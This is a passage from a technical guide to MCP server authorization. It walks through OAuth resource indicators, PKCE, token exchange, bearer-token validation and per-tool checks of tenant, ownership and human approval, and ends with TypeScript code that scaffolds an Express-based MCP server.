<p>The <code>resource</code> and <code>scope</code> parameters serve different purposes.</p>
<p><code>resource</code> identifies the exact MCP server for which the token is requested. The client must include it in both the authorization request and token request, even when an authorization server does not advertise RFC 8707 support. This allows the resulting token to be audience-restricted to the MCP server.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>What changed from early MCP OAuth implementations?</div><div class="admonitionContent_BuS1"><p>Resource Indicators are now mandatory. A token that is validly signed but intended for a different API or MCP server must be rejected.</p></div></div>
<p><code>scope</code> describes the permissions currently needed. On the initial challenge, the client uses the scope from <code>WWW-Authenticate</code> when supplied. Otherwise, it uses the protected resource's <code>scopes_supported</code>, which should represent the minimal permissions needed for basic functionality.</p>
<p>PKCE protects the authorization code from interception or injection. Public clients such as desktop applications and CLIs cannot safely hold a shared client secret, so a secret embedded in their package is not a substitute for PKCE.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-6-the-human-authenticates-and-authorizes-access">Step 6: The human authenticates and authorizes access<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-6-the-human-authenticates-and-authorizes-access" class="hash-link" aria-label="Direct link to Step 6: The human authenticates and authorizes access" title="Direct link to Step 6: The human authenticates and authorizes access" translate="no">​</a></h3>
<p>The authorization server handles login, MFA, organizational policy, and consent in the browser. MCP doesn't prescribe that experience, and the client never needs to collect the user's password.</p>
<p>Consent should identify the client, server, requested permissions, and account or tenant. For sensitive scopes, explain what access allows. "Allow access to MCP" says too little when a server can delete repositories or approve payments.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-7-the-client-exchanges-the-code-for-tokens">Step 7: The client exchanges the code for tokens<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-7-the-client-exchanges-the-code-for-tokens" class="hash-link" aria-label="Direct link to Step 7: The client exchanges the code for tokens" title="Direct link to Step 7: The client exchanges the code for tokens" translate="no">​</a></h3>
<p>The authorization server redirects the browser to the registered URI with an authorization code. The client validates <code>state</code>, validates the issuer response according to RFC 9207 when present or advertised, and rejects mismatches before sending a code to any token endpoint. It then exchanges the code together with the original PKCE verifier and the same <code>resource</code> value.</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /token</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/x-www-form-urlencoded</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">grant_type=authorization_code&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">code=...&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">redirect_uri=http%3A%2F%2F127.0.0.1%3A3456%2Fcallback&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">client_id=https%3A%2F%2Fclient.example.com%2Foauth%2Fclient.json&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">code_verifier=...&amp;</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">resource=https%3A%2F%2Fmcp.example.com%2Fmcp</span><br></span></code></pre></div></div>
<p>The response normally contains a short-lived access token. A refresh token may be issued, but clients must not assume one will be available. Refresh tokens must be protected in storage and transit; native clients should use operating-system-backed secure storage when possible rather than a plain configuration file.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-8-the-client-calls-the-mcp-server">Step 8: The client calls the MCP server<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-8-the-client-calls-the-mcp-server" class="hash-link" aria-label="Direct link to Step 8: The client calls the MCP server" title="Direct link to Step 8: The client calls the MCP server" translate="no">​</a></h3>
<p>The client sends the access token in the HTTP <code>Authorization</code> header on every request.</p>
<div class="language-http codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-http codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">POST /mcp HTTP/1.1</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Host: mcp.example.com</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Authorization: Bearer eyJhbGciOiJSUzI1NiIs...</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Content-Type: application/json</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Accept: application/json, text/event-stream</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">MCP-Protocol-Version: 2026-07-28</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Mcp-Method: tools/call</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">Mcp-Name: delete_document</span><br></span></code></pre></div></div>
<p>Never put access tokens in query strings. URLs routinely appear in logs, browser history, analytics, and referrer data.</p>
<p>The last three headers are transport requirements rather than authorization ones. Since the 2026-07-28 revision, every Streamable HTTP request carries its protocol version and mirrors the JSON-RPC method and tool name into headers, so a gateway can route and log a call without parsing its body.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-9-the-mcp-server-validates-the-token">Step 9: The MCP server validates the token<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-9-the-mcp-server-validates-the-token" class="hash-link" aria-label="Direct link to Step 9: The MCP server validates the token" title="Direct link to Step 9: The MCP server validates the token" translate="no">​</a></h3>
<p>The MCP server validates JWTs locally or uses token introspection, depending on the token format. Verification must cover:</p>
<ul>
<li class="">
<p>trusted issuer;</p>
</li>
<li class="">
<p>intended audience or resource;</p>
</li>
<li class="">
<p>expiry and not-before time;</p>
</li>
<li class="">
<p>required scopes;</p>
</li>
<li class="">
<p>token status or revocation where applicable;</p>
</li>
<li class="">
<p>tenant and subject context used by local policy.</p>
</li>
</ul>
<p>An otherwise valid token issued for another API must be rejected. The MCP specification explicitly forbids token passthrough: a server must not accept or relay tokens that were not issued for that MCP server. This prevents a compromised or confused server from becoming a credential-forwarding proxy.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="step-10-the-mcp-server-authorizes-the-requested-tool-operation">Step 10: The MCP server authorizes the requested tool operation<a href="https://choreolabs.com/identity-and-access-management/learn/mcp-authorization-guide#step-10-the-mcp-server-authorizes-the-requested-tool-operation" class="hash-link" aria-label="Direct link to Step 10: The MCP server authorizes the requested tool operation" title="Direct link to Step 10: The MCP server authorizes the requested tool operation" translate="no">​</a></h3>
<p>Only after token validation should the request reach MCP dispatch. The handler then applies the authorization rules for the actual operation and arguments.</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token string" style="color:#15803D">"delete_document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Delete a document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">string</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    scopeChallenge</span><span class="token operator">:</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">requireScopes</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"documents:delete"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> ctx</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> principal </span><span class="token operator">=</span><span class="token plain"> ctx</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">http</span><span class="token operator">?.</span><span class="token plain">authInfo</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"Unauthenticated request"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> document </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> documents</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">load</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">documentId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">requireSameTenant</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token function" style="color:#0B1633;font-weight:600">requireOwnerOrRole</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"document-admin"</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">requireHumanApprovalIfSensitive</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">principal</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> document</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> documents</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">remove</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">documentId</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> audit</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">record</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"document.deleted"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      actor</span><span class="token operator">:</span><span class="token plain"> principal</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">extra</span><span class="token operator">?.</span><span class="token plain">subject</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      client</span><span class="token operator">:</span><span class="token plain"> principal</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">clientId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      documentId</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"text"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Document deleted"</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
<p>The registration follows the official TypeScript SDK v2 (<code>@modelcontextprotocol/server</code>), which implements the 2026-07-28 specification. <code>scopeChallenge</code> declares the scope this tool needs, and the SDK answers a token without it with the <code>403 insufficient_scope</code> challenge that step-up depends on, before the handler runs. The verified token reaches the handler as <code>ctx.http.authInfo</code>. The policy helpers are application code: the SDK cannot know your tenants, ownership rules, approval thresholds, or audit schema. Token validation happens at the HTTP boundary; operation-level authorization happens inside the tool.</p>
<h1>Implementing MCP authorization</h1>
<p>The work splits into protocol enforcement, which an SDK and authorization server can largely handle, and domain authorization, which stays with your application because it depends on your tenants, ownership rules, and approval thresholds. Build in that order too: get a working, unauthenticated server first, then add auth rather than debugging both at once.</p>
<p><strong>Scaffold the project.</strong> Initialize a Node.js project and install the official MCP TypeScript SDK v2 alongside Express. The SDK now ships separate packages for the server, Express integration, and Node.js HTTP adapter.</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">npm init -y</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm pkg set type=module</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install @modelcontextprotocol/server @modelcontextprotocol/express @modelcontextprotocol/node express zod dotenv</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">npm install -D typescript tsx @types/express @types/node</span><br></span></code></pre></div></div>
<p><strong>Build the server with no auth first.</strong> Register a tool and expose it over Streamable HTTP. Confirm the tool works before adding authorization.</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpExpressApp </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"@modelcontextprotocol/express"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> toNodeHandler </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"@modelcontextprotocol/node"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createMcpHandler</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> McpServer </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"@modelcontextprotocol/server"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> z </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"zod/v4"</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">buildServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> McpServer </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">McpServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"documents-server"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"1.0.0"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">registerTool</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">"delete_document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      description</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"Simulate deleting a document"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      inputSchema</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">object</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId</span><span class="token operator">:</span><span class="token plain"> z</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">string</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> documentId </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      content</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">"text"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        text</span><span class="token operator">:</span><span class="token plain"> </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Simulated deletion of </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">documentId</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> server</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> app </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createMcpExpressApp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> mcp </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">toNodeHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token function" style="color:#0B1633;font-weight:600">createMcpHandler</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">buildServer</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">all</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">"/mcp"</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">void</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">mcp</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">body</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">app</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">3000</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><br></span></code></pre></div></div>
